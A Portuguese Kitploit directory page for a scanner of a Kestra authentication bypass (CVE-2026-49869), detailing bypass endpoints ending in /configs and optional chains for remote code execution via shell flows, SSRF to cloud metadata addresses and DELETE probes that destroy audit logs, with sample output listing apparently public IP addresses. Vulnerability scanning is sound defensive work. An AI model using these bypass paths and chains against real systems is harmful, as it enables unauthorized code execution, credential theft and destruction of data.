Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49869 — Verificador de Vulnerabilidade de Bypass de Autenticação do Kestra | Kitploit
Ferramentas/GitHubGitHub/ap0dexme0/cve-2026-49869
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAutenticação
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Verificador de Vulnerabilidade de Bypass de Autenticação do Kestra

Ver Repositório
14há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Scanner Kestra CVE-2026-49869 / CVE-2026-53576

Escaneia instâncias Kestra em busca do bypass de filtro de autenticação endsWith("/configs"). O AuthenticationFilter.java do Kestra verifica request.getPath().endsWith("/configs") em vez de corresponder ao caminho exato /api/v1/configs. Como o Kestra endereça recursos por meio de segmentos de caminho escolhidos pelo chamador (namespace, flow ID), qualquer caminho que termine em /configs ignora a autenticação Basic-Auth, permitindo criação não autenticada de flows e RCE. (CVSS 10.0)

Referências:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 Autenticação Imprópria / Injeção de Comando no SO / Lista Incompleta de Entradas Desautorizadas
  • CVE-2026-53576

Lógica de Detecção

  1. Verificação de atividade + versão GET /api/v1/configs (deve retornar 200; corpo da resposta analisado para obter a versão do Kestra)
  2. Verificação de auth GET /api/v1/{tenant}/flows (deve retornar 401/403 se a auth estiver ativa)
  3. Sondas de bypass 6 requisições GET para caminhos que terminam em /configs; se algum retornar não-401/403 enquanto a verificação de auth estiver ativa, a instância está vulnerável
  4. Modo agressivo (--aggressive) também envia requisições PUT para confirmar capacidade de bypass de escrita
  5. Verificação de RCE (--rce) cadeia completa: criar flow shell/python → acionar execução → recuperar logs → confirmar execução de código → limpeza
  6. Detecção de SSRF (--ssrf) cria um flow com http() do Pebble visando metadados de nuvem AWS/GCP/Azure e endpoints internos, depois verifica logs por evidências
  7. Sondas DELETE (--destructive) envia DELETE para caminhos de bypass de flows, dashboards e logs para confirmar bypass de operação destrutiva

Endpoints das Sondas

Sondas Seguras (padrão)

SondaMétodoCaminhoDescrição
Configs PúblicosGET/api/v1/configsVerificação de atividade + extração de versão
Normal ProtegidoGET/api/v1/{tenant}/flowsLinha de base da aplicação de auth
Bypass de FlowsGET/api/v1/{tenant}/flows/{namespace}/configsBypass de listagem de flows
Bypass de ExecuçõesGET/api/v1/{tenant}/executions/{namespace}/configsBypass de execução
Bypass de KV StoreGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsBypass de leitura KV
Bypass de DashboardsGET/api/v1/{tenant}/dashboards/configsBypass de dashboard
Bypass de LogsGET/api/v1/{tenant}/logs/{namespace}/configsBypass de acesso a logs
Bypass de TemplatesGET/api/v1/{tenant}/templates/{namespace}/configsBypass de leitura de templates

Sondas Agressivas (--aggressive)

SondaMétodoCaminhoDescrição
Bypass PUT de FlowsPUTigual ao Bypass de FlowsCria um flow mínimo debug.Return
Bypass PUT de KVPUTigual ao Bypass de KVCria uma entrada KV {"scanned": true}

Sondas Destrutivas (--destructive)

SondaMétodoCaminhoDescrição
Bypass DELETE de FlowsDELETEigual ao Bypass de FlowsExclui um recurso chamado "configs"
Bypass DELETE de DashboardsDELETEigual ao Bypass de DashboardsExclui um dashboard chamado "configs"
Bypass DELETE de LogsDELETEigual ao Bypass de LogsDestrói logs de auditoria

Cadeia de Verificação RCE (--rce)

Executa somente quando o bypass de auth é confirmado. A cadeia completa do advisory:

PassoMétodoCaminhoDescrição
1. Criar flow RCEPUT/api/v1/{tenant}/flows/{namespace}/configsImplanta flow com io.kestra.plugin.scripts.shell.Commands (echo <marcador>, id, hostname). Recai para io.kestra.plugin.scripts.python.Script em caso de falha.
2. Acionar execuçãoPOST/api/v1/{tenant}/executions/{namespace}/configsInicia o flow pelo caminho de bypass
3. Consultar logsGET/api/v1/{tenant}/logs/search?executionId=<id>Consulta até --poll-retries vezes (padrão 10) a cada --poll-interval segundos (padrão 3) procurando o marcador único de RCE
4. LimpezaDELETEigual ao passo 1Remove o flow implantado

Cadeia de Detecção SSRF (--ssrf)

Executa somente quando o bypass de auth é confirmado:

PassoMétodoCaminhoDescrição
1. Criar flow SSRFPUT/api/v1/{tenant}/flows/{namespace}/configsImplanta uma tarefa debug.Return com chamadas http() do Pebble para AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) e interno (127.0.0.1:8080/api/v1/configs)
2. Acionar execuçãoPOSTigual ao passo 2 do RCEAciona o flow
3. Consultar logsGET/api/v1/{tenant}/logs/search?executionId=<id>Verifica indicadores de metadados de nuvem (ami-, i-, 169.254.169.254, metadata.google.internal, etc.)
4. LimpezaDELETEigual ao passo 1Remove o flow implantado

Referência CLI

root@kitploit:~
posicional:
  target                          URL alvo única (ex.: http://localhost:8080)

opções:
  -f, --file                      Arquivo com alvos (um por linha)
  -t, --timeout                   Timeout da requisição em segundos (padrão: 10)
  --verify-ssl                    Verificar certificados TLS
  -j, --json                      Saída JSON para stdout
  -o, --output                    Escrever relatório JSON em arquivo
  --tenant                        Nome do tenant (padrão: "main")
  --namespace                     Namespace para caminhos de bypass (padrão: "tutorial")
  -w, --workers                   Número de threads para varreduras em massa (padrão: 10)
  -a, --aggressive                Enviar requisições PUT para confirmar bypass de escrita
  -P, --auto-ports                Portas para expansão automática (padrão: 8080 8081 8088 8091 80 443)

sondas avançadas:
  -r, --rce                       Ativar cadeia de verificação RCE (flow shell + python,
                                   acionamento de execução, recuperação de logs, limpeza automática)
  -s, --ssrf                      Ativar detecção SSRF (http() do Pebble para endpoints de metadados
                                   de nuvem, coleta de evidências baseada em logs)
  -d, --destructive               Ativar sondas DELETE em flows, dashboards e logs
                                   (IRÁ excluir recursos em instâncias vulneráveis)
  --poll-interval                 Segundos entre consultas de log para cadeias RCE/SSRF (padrão: 3)
  --poll-retries                  Número máximo de tentativas de consulta de log para cadeias RCE/SSRF (padrão: 10)

Saída

Alvo Único

Detalhamento completo por sonda com enriquecimento (versão, RCE, SSRF, status DELETE) e veredito:

root@kitploit:~
====================================================================
  Alvo:      http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Versão:       1.3.20 (AFETADO)
  RCE:          CONFIRMADO via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTADO
    | Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
  BYPASS DELETE: CONFIRMADO bypass de auth em ops destrutivas

  [Bypass de Flows]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      SIM

  [Bypass de Exec]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      Não

  ...

  ── Cadeia de Verificação RCE ──
    Criação de Flow: 201
    Acionamento Exec: 201
    Evidência em Log: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Limpeza de Flow: 204

  ── Cadeia de Detecção SSRF ──
    Criação de Flow: 201
    Acionamento Exec: 201
    Evidência: 200
      Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
    Limpeza de Flow: 204

  [VULN]  Veredito: VULNERÁVEL ...
====================================================================

Resumo em Massa

Tabela colunar ordenada com colunas de flags RCE/SSRF/DEL:

root@kitploit:~
========================================================================================================================================
  RESUMO DA VARREDURA EM MASSA   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Alvo                           Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    SIM    SIM    SIM    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      SIM    VULN
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SEGURO
  ...
========================================================================================================================================
  Total: 258  |  Vulneráveis: 5  |  RCE Confirmado: 1  |  SSRF Detectado: 1  |  Bypass DEL: 2  |  Seguros: 29  |  Inconclusivos: 224
========================================================================================================================================

Códigos de saída: 0 = sem vulnerabilidades, 1 = vulnerabilidade encontrada, 2 = todos inconclusivos.

Relatório JSON

Ao usar -j ou -o, a saída inclui campos de enriquecimento por alvo:

root@kitploit:~
{
  "scan_info": {
    "scanner": "kestra_cve v2.0.0",
    "cve": ["CVE-2026-49869", "CVE-2026-53576"],
    "aggressive": true,
    "rce": true,
    "ssrf": true,
    "destructive": true
  },
  "results": [
    {
      "target": "http://10.0.0.1:8080",
      "vulnerable": true,
      "version": "1.3.20",
      "version_in_affected_range": true,
      "rce_confirmed": true,
      "rce_method": "shell",
      "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
      "ssrf_detected": true,
      "ssrf_evidence": "Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080",
      "delete_bypass": true,
      "probes": { "..." : "..." }
    }
  ],
  "summary": {
    "total": 258,
    "vulnerable": 5,
    "rce_confirmed": 1,
    "ssrf_detected": 1,
    "delete_bypass": 2,
    "safe": 29,
    "inconclusive": 224
  }
}

Detecção de Versão

O scanner extrai automaticamente a versão do Kestra da resposta GET /api/v1/configs e a classifica:

VersãoClassificação
<= 1.0.44AFETADO (branch 1.0, antes do patch)
>= 1.0.45Corrigido (branch 1.0)
1.3.0 a 1.3.20AFETADO (branch 1.3, antes do patch)
>= 1.3.21Corrigido (branch 1.3)
>= 1.4.0Corrigido (mais novo que o intervalo afetado)
DesconhecidaVersão não encontrada na resposta

Isso usa comparação ciente de branch, já que o Kestra mantém branches de patch separadas (1.0.x e 1.3.x).

v1.0.0

  • Lançamento inicial com sondas GET seguras, sondas PUT agressivas, varredura em massa e saída JSON

Instalação

Requer Python 3.10+.

root@kitploit:~
pip install -r requirements.txt
python main.py --help

Aviso de Isenção

Para testes defensivos autorizados apenas. As flags --rce e --destructive criam e executam recursos reais no alvo. Sempre obtenha autorização escrita adequada antes de escanear sistemas que você não possui.

Baixar ferramenta